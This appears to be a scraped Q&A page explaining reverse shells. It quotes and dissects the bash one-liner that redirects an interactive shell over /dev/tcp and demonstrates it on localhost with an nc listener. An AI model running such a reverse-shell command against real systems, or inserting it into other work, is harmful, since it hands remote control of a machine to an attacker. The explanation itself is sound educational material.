What is reverse shell? -


could explain me reverse shell , in cases supposed use it? found http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet regarding same, meaning of:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 

it's a(n insecure) remote shell introduced target. that's opposite of "normal" remote shell, in introduced source.

let's try localhost instead of 10.0.0.1:

  • open 2 tabs in terminal.

    1. open tcp port 8080 , wait connection:

       nc localhost -lp 8080 
    2. open interactive shell, , redirect iostreams tcp socket:

       bash -i >& /dev/tcp/localhost/8080 0>&1 

      where

      • bash -i "if -i option present, shell interactive."
      • >& "this special syntax redirects both, stdout , stderr specified target."
      • (argument >&) /dev/tcp/localhost/8080 tcp client connection localhost:8080.
      • 0>&1 redirect file descriptor 0 (stdin) fd 1 (stdout), hence opened tcp socket used read input.

      cf. http://wiki.bash-hackers.org/syntax/redirection

  • rejoice have prompt in tab 1.
  • now imagine not using localhost, remote ip.

Comments

Popular posts from this blog

javascript - jQuery: Add class depending on URL in the best way -

caching - How to check if a url path exists in the service worker cache -

Redirect to a HTTPS version using .htaccess -